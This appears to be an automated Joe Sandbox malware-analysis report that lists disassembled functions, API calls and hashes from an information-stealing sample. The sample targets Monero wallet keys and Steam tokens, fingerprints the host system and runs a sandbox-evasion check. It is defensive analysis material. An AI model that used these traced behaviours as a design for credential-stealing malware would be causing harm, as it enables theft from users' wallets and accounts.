Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Function 00199470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00199484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 001994A5
CloseHandle.KERNEL32(00000000), ref: 001994AF

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: b67f40e528f84ebf5dc94df2aeceafe04512cdc688fe0d92d446bfb69e9a0621
Instruction ID: 4303bc8f4e7d915a29f6c8edf63b706a25a8579629ff08636238815bc201cc85
Opcode Fuzzy Hash: b67f40e528f84ebf5dc94df2aeceafe04512cdc688fe0d92d446bfb69e9a0621
Instruction Fuzzy Hash: 7DF03A7490020CEBDB05DFA4DC4AFED77B8EB08704F004598BA0997290D6B06A85CB91

Function 00181110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0018112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00181132
ExitProcess.KERNEL32 ref: 00181143

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 736f4926cca2043b7a7d3ac9a719b20dc5cdb0339b4fe6fc54598ca3fb39068b
Instruction ID: 5c52a8255cfd71c451cb2067f3b49f779621fa959eeb579cf1b31907c8baee9b
Opcode Fuzzy Hash: 736f4926cca2043b7a7d3ac9a719b20dc5cdb0339b4fe6fc54598ca3fb39068b
Instruction Fuzzy Hash: 9FE0E67198530CFBE7116BA09C0EF097A7CAB04B05F104154F709B61D0D7B53A419B99

Function 00191A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 00197500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00197542
Part of subcall function 00197500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0019757F
Part of subcall function 00197500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00197603
Part of subcall function 00197500: RtlAllocateHeap.NTDLL(00000000), ref: 0019760A

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 00197690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001976A4
Part of subcall function 00197690: RtlAllocateHeap.NTDLL(00000000), ref: 001976AB

Part of subcall function 001977C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0019DBC0,000000FF,?,00191C99,00000000,?,0134D738,00000000,?), ref: 001977F2
Part of subcall function 001977C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0019DBC0,000000FF,?,00191C99,00000000,?,0134D738,00000000,?), ref: 001977F9

Part of subcall function 00197850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001811B7), ref: 00197880
Part of subcall function 00197850: RtlAllocateHeap.NTDLL(00000000), ref: 00197887
Part of subcall function 00197850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0019789F

Part of subcall function 001978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00197910
Part of subcall function 001978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00197917
Part of subcall function 001978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0019792F

Part of subcall function 00197980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,001A0E00,00000000,?), ref: 001979B0
Part of subcall function 00197980: RtlAllocateHeap.NTDLL(00000000), ref: 001979B7
Part of subcall function 00197980: GetLocalTime.KERNEL32(?,?,?,?,?,001A0E00,00000000,?), ref: 001979C4
Part of subcall function 00197980: wsprintfA.USER32 ref: 001979F3

Part of subcall function 00197A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0134DB68,00000000,?,001A0E10,00000000,?,00000000,00000000), ref: 00197A63
Part of subcall function 00197A30: RtlAllocateHeap.NTDLL(00000000), ref: 00197A6A
Part of subcall function 00197A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0134DB68,00000000,?,001A0E10,00000000,?,00000000,00000000,?), ref: 00197A7D

Part of subcall function 00197B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0134DB68,00000000,?,001A0E10,00000000,?,00000000,00000000), ref: 00197B35

Part of subcall function 00197B90: GetKeyboardLayoutList.USER32(00000000,00000000,001A05AF), ref: 00197BE1
Part of subcall function 00197B90: LocalAlloc.KERNEL32(00000040,?), ref: 00197BF9
Part of subcall function 00197B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00197C0D
Part of subcall function 00197B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00197C62
Part of subcall function 00197B90: LocalFree.KERNEL32(00000000), ref: 00197D22

Part of subcall function 00197D80: GetSystemPowerStatus.KERNEL32(?), ref: 00197DAD

GetCurrentProcessId.KERNEL32(00000000,?,0134D538,00000000,?,001A0E24,00000000,?,00000000,00000000,?,0134DBE0,00000000,?,001A0E20,00000000), ref: 0019207E

Part of subcall function 00199470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00199484
Part of subcall function 00199470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 001994A5
Part of subcall function 00199470: CloseHandle.KERNEL32(00000000), ref: 001994AF

Part of subcall function 00197E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00197E37
Part of subcall function 00197E00: RtlAllocateHeap.NTDLL(00000000), ref: 00197E3E
Part of subcall function 00197E00: RegOpenKeyExA.KERNEL32(80000002,0133BB60,00000000,00020119,?), ref: 00197E5E
Part of subcall function 00197E00: RegQueryValueExA.KERNEL32(?,0134D4F8,00000000,00000000,000000FF,000000FF), ref: 00197E7F
Part of subcall function 00197E00: RegCloseKey.ADVAPI32(?), ref: 00197E92

Part of subcall function 00197F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00197FC9
Part of subcall function 00197F60: GetLastError.KERNEL32 ref: 00197FD8

Part of subcall function 00197ED0: GetSystemInfo.KERNEL32(001A0E2C), ref: 00197F00
Part of subcall function 00197ED0: wsprintfA.USER32 ref: 00197F16

Part of subcall function 00198100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0134DBF8,00000000,?,001A0E2C,00000000,?,00000000), ref: 00198130
Part of subcall function 00198100: RtlAllocateHeap.NTDLL(00000000), ref: 00198137
Part of subcall function 00198100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00198158
Part of subcall function 00198100: __aulldiv.LIBCMT ref: 00198172
Part of subcall function 00198100: __aulldiv.LIBCMT ref: 00198180
Part of subcall function 00198100: wsprintfA.USER32 ref: 001981AC

Part of subcall function 001987C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,001A0E28,00000000,?), ref: 0019882F
Part of subcall function 001987C0: RtlAllocateHeap.NTDLL(00000000), ref: 00198836
Part of subcall function 001987C0: wsprintfA.USER32 ref: 00198850

Part of subcall function 00198320: RegOpenKeyExA.KERNEL32(00000000,0134AD60,00000000,00020019,00000000,001A05B6), ref: 001983A4

Part of subcall function 00198320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00198426
Part of subcall function 00198320: wsprintfA.USER32 ref: 00198459
Part of subcall function 00198320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0019847B
Part of subcall function 00198320: RegCloseKey.ADVAPI32(00000000), ref: 0019848C
Part of subcall function 00198320: RegCloseKey.ADVAPI32(00000000), ref: 00198499

Part of subcall function 00198680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,001A05B7), ref: 001986CA
Part of subcall function 00198680: Process32First.KERNEL32(?,00000128), ref: 001986DE
Part of subcall function 00198680: Process32Next.KERNEL32(?,00000128), ref: 001986F3
Part of subcall function 00198680: CloseHandle.KERNEL32(?), ref: 00198761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0019265B

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 60b880c5349ca0fb0c685d0ee483d92f97873e47559016c1e7600c782ab04a8e
Instruction ID: 16ade569589278f4450f143b40b1a8eaf7f86ac0c2995b056b28ddb0292e14a6
Opcode Fuzzy Hash: 60b880c5349ca0fb0c685d0ee483d92f97873e47559016c1e7600c782ab04a8e
Instruction Fuzzy Hash: F9721F76C60118AADF19FB90DCA2DEE737CAF74305F904299B51662091EF302B4DCBA5

Function 00186D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc7a75e678d018e689fa524a065bcc4920a7b9ab26f4d0306a117aa41485a77b
Instruction ID: daf8b5b55bd80a25ea38a384690c2e0fac4c3cd0817f8b885f189d828b1bc163
Opcode Fuzzy Hash: bc7a75e678d018e689fa524a065bcc4920a7b9ab26f4d0306a117aa41485a77b
Instruction Fuzzy Hash: E46106B4D00218DFCB18EF94E998BEEB7B0BB44304F108599E519AB280D775AF94DF91

Function 00195100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A820: lstrlen.KERNEL32(00184F05,?,?,00184F05,001A0DDE), ref: 0019A82B
Part of subcall function 0019A820: lstrcpy.KERNEL32(001A0DDE,00000000), ref: 0019A885

lstrlen.KERNEL32(00000000,00000000,001A0ACA), ref: 0019512A

Strings

steam_tokens.txt, xrefs: 0019513F

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: ca6ada68be98ccc4b022305d443aab05eb1835dea3a354ff8c0446cc76cc1d67
Instruction ID: 2bc8b9ca01e72aa64476715b71317f455262d2fb953610e69c9c8b822d1ea31b
Opcode Fuzzy Hash: ca6ada68be98ccc4b022305d443aab05eb1835dea3a354ff8c0446cc76cc1d67
Instruction Fuzzy Hash: A8F0F67292010866CF08FBA0EC579ED733CAF65300F804268B816A2492EF256A0DC7E6

Function 00197ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(001A0E2C), ref: 00197F00
wsprintfA.USER32 ref: 00197F16

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
